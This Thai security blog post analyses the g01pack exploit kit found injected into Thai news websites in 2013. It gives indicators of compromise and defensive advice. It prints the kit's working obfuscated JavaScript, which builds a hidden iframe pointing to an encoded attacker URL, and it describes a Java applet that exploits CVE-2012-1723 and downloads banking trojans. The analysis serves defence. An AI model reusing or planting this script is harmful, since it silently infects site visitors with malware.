Quantcast
Channel: Incognito Lab » exploitation kit
Viewing all articles
Browse latest Browse all 2

Banking Trojan Hunting — g01pack’s fundamental analysis

0
0

1-2 วันที่ผ่านมาผมคิดว่าหลายๆคนที่เข้าไปดูข่าวออนไลน์บ่อยๆอาจจะตกใจเนื่องจาก Google และ Google Chrome มีการแจ้งเตือนภัยคุกคามว่า website ดังกล่าวอาจเป็นอันตรายต่อคอมพิวเตอร์ของผู้ใช้งาน

จากภาพด้านล่าง ผมพบหน้าจอจาก Homepage ของนสพ.ฉบับหนึ่งในวันที่ 12 มิถุนายน 2556
newspaper1

ในวันถัดมาวันที่ 13 มิถุนายน 2556 พบว่า website แห่งเดิมไม่พบปัญหา แต่พบปัญหากับ Homepage ของนสพ.อีกฉบับและสำนักข่าวอีกแห่งหนึ่งแทน
newspaper2

เราจึงค้นหาคำตอบด้วยการใช้ Service ที่ทำการตรวสอบ web-based malware ที่ชื่อ urlquery.net ซึ่งเป็น Service ที่ให้บริการฟรีครับ(กรณีทำ Bulk query แบบปริมาณมากๆอาจจะช้านิดหน่อย คิดว่าอีกไม่นานจะมี API ออกมาให้เรียกใช้งานได้ง่ายขึ้นครับ ไม่ต้องไปเขียน script เพื่อไปทำ Bulk query เอง) ผลของ urlquery ทำให้เราตกใจเป็นอย่างยิ่งเนื่องจากพบ Exploitation Kit* ที่ชื่อ g01pack
newspaper2_query

* Note:
1. ทำความเข้าใจกับ Exploitation kit ได้ที่บทความ Malware Fighting Technique — DNS Sinkhole
2. พวก Cyber crime (ซึ่งทุกวันนี้มันกลายเป็นขบวนการใหญ่ของโลก–Organised Cyber Crime–ไปแล้ว แก๊งค์พวกนี้มีการเคลื่อนไหวอยู่ในประเทศไทยด้วย–ที่เราเห็นตามข่าวบ่อยๆเรื่องการโจมตี Internet Banking ของธนาคารต่างๆนั่นแหละครับ) มี Crime-as-a-Service ที่บริการการก่ออาชญากรรมทุกรูปแบบ ข้อมูลเพิ่มเติมสามารถดูได้จาก Cybercriminals Today Mirror Legitimate Business Processes ของ Fortinet

เราเองใช้เวลาตามหา Active Exploitation Kit ที่วางโจมตีใน website ภายในประเทศสักพักแล้วครับ แต่ทุกๆครั้งที่หาเจอ Page ที่เป็น Exploit kit ก็หายไปบ้าง, invalid domain name บ้าง เราเจ็บใจพอสมควรเนื่องจากแก๊งค์พวกนี้ขโมยเงินในประเทศของเราออกไปเยอะทีเดียว แต่วันนี้พวกเค้าทำการ Plant exploitation kit บน page หนังสือพิมพ์ครับและพร้อมๆกับมีข่าวเรื่อง Banking Trojan ที่โจมตีอีกระลอก(ลองไปดูที่ http://pantip.com/topic/30599799 และการแจ้งเตือนบนหน้า Internet Banking ของแต่ละธนาคาร)

ครั้งนี้เราได้พบกับ Exploitation Code ที่ Active ตัวจริงแล้วครับ เรามาวิเคราะห์ g01pack แบบง่ายๆกันดีกว่า

Analysis

เริ่มแรกเลยก็ให้สังเกตว่ามีการแทรก javascript ประหลาดๆในหน้า Homepage ของนสพ.แห่งนั้น
newspaper2_query2

ให้เรานำตัวเลขดังกล่าวมาประกอบกัน จากนั้นก็ Decode ด้วย function ของมันเอง ใครงงลองไปดู Decoder ที่เราดัดแปลงจาก Script ดังกล่าวได้ที่ http://pastebin.com/KWPfz3mF ถ้าหากเราพยายามอ่าน Soucecode ของมัน(ที่ชื่อประหลาดๆ ดูเละๆนั่นแหละครับ**)จะพบว่ามันพยายามทำการสร้าง iframe ขนาด 1×1 แบบ hidden และ src ของมันถูก encode เอาไว้ซึ่งเปลี่ยนแปลงได้ตลอด(สาเหตุที่ตามหายาก) หลังจาก Decode ก็จะพบว่ามันมีการเรียกไปที่
dec1

Note:
** code ที่ดูประหลาดๆแบบนี้จงใจทำขึ้นเพื่อหลีกเลี่ยงการตรวจจับ และป้องกันไม่ให้ใครไปทำความเข้าใจการทำงานของมันง่ายๆครับ กระบวนการแบบนี้ทางเทคนิคเรียกว่า code ถูก obfuscated

Response จะเป็น obfuscated javascript ที่เป็น Landing Page อีกต่อหนึ่ง
(function(){var fYN=document,K={'i':'rame'},NNC,E;function GG(L,Y){return L.src=Y;}function D(m){m+='58,41,43,51,-10,56,48,56,7,41,44,62,45,58,60,5,-3,-3';m=m.split(',');t='';for(i=0;i<m.length-1;i++){n=parseInt(m[0]);n+=parseInt(m[i+1]);t+=String.fromCharCode(n);}return t;}if(/(Windows)/.test(navigator.userAgent)&&/(MSIE)/.test(navigator.userAgent)){try{NNC='56,48,60,60,56,2,-9,-9,43,66,64,43,64,66,-10,60,55,56,49,43,41,52,59,';E=md();TT=D(NNC);GG(E,TT);}catch(e){};}function l(){return 'if'+K.i;}function md(){var tt=document.createElement(l());tt.width='1px';NNC+='49,53,61,52,41,60,49,55,54,59,-10,54,45,60,-9,43,56,41,54,45,52,39,46,49,52,45,-9,43,';tt.height='1px';tt.style['visibility']='hidden';try{fYN['body']['appendChild'](tt);}catch(P){try{document.write('');document.body.appendChild(tt);}catch(uWin){}}return tt;}})();

ถ้าทำการ decode จะพบว่ามันมีการเรียกไปที่
dec2

ซึ่งจะพบหน้าจอตามรูปด้านล่าง
dec3
ข้อความที่ปรากฎเป็นบทที่คัดมาจากเรื่อง Hamlet ของ William Shakespeare แต่มีข้อความแปลกๆด้านบนแทรกเข้ามา และมีบางบรรทัดของที่หายไป(ตอนนี้เรายังไม่เข้าใจว่ามันหมายถึงอะไรเช่นกัน)

นอกเหนือจากนั้นยังพบว่ามีการแทรก applet แถมมาให้อีกด้วย ลองดู applet นั้นได้ที่ http://pastebin.com/q52Pi7Kx
หากลองดูให้ดี จะเห็น pattern ซ้ำๆจริงมั้ยครับ??

หลังจากที่ applet ทำงานมันจะพยายาม break security policy ดูที่ sourcecode
applet_code2
โดยอาศัยช่องโหว่ CVE-2012-1723 ที่ทำการโจมตี Java

อีกทั้งยังทำงานเป็นตัว Loader ที่พยายามทำการ download payload ต่างๆ เช่น banking trojan หรือ malware ประเภทอื่นๆมา deploy เพิ่มเติม
dec5

เราทำการทดสอบ applet ตัวนี้กับ virustotal และพบว่า Evasion ของมันไม่ธรรมดาครับ ผลของมันคือ Detection ratio: 3/47 ซึ่งถือว่าหลบหลีกได้ดีมาก

การแพร่ Exploitation Kit ผ่าน website ข่าวที่มีคนเข้าไปดูเป็นจำนวนมาก เป็นสิ่งที่น่าเป็นห่วงอย่างยิ่ง เราลองสังเกตพบว่าส่วนใหญ่มาจาก ads ที่อยู่ตาม website ต่างๆมันคอยซ่อนตัว รอโอกาสโจมตี พอเราจะเข้าไปตรวจสอบมันก็หายไป อีกทั้งยังมีการปิด-เปิด-เปลี่ยน domain name บ่อยมาก

สำหรับผู้ใช้งานทั่วไป

0.อ่านบทความของ Thaicert
1. สำหรับการใช้งานทั่วไป ส่วนใหญ่ java plugin ไม่จำเป็นต้องใช้งานอยู่แล้ว แนะนำว่าปิดการทำงานของ java ไปเลยดีกว่าครับ เพราะช่วงนี้เสี่ยง
2. ลองดูว่าเครื่องของเรามี patch อะไรที่ต้อง update บ้าง โดยสามารถใช้บริการจากที่นี่ได้เลยครับ Rapid7 Browser Scan ฟรี

สำหรับผู้ดูแลระบบและผู้สนใจ

0.อ่านบทความของ Thaicert
1. ลอง review logs โดยด่วนว่ามี users คนไหนที่ไป visit website ดังกล่าวบ้าง ซึ่งให้ดูจาก Firewall logs ก็พอครับ เพราะ resolve ไปที่

IP: 195.3.147.229 ใน Latvia
czxcxz.topicalsimulations.net
zxcasdw.gamesdropboxs.biz
zzzaaa.megabytessimilarity.net

ทั้ง 3 domain name ถูก registered วันที่ 10,11 และ 12 มิถุนายนที่ผ่านมาสดๆร้อนๆเลย
2. ใช้ Window Sysinternals กับเครื่องที่สงสัยว่าจะถูกโจมตี โดยให้เปิด Browser ขึ้นมาก่อน อีกวิธีคือให้ดู Hook ของ Process ของ Browser ด้วย ถ้าพบว่า function ที่สำคัญถูก Hook เช่นนี้เครื่องนั้นถูกโจมตีแน่นอน
hook
3. อ่านบทความเรื่อง Multi-Stage Exploit Attacks for More Effective Malware Delivery ของ Trusteer

ขอให้ทุกคนปลอดภัย Stay safe!!



Viewing all articles
Browse latest Browse all 2

Latest Images

Trending Articles





Latest Images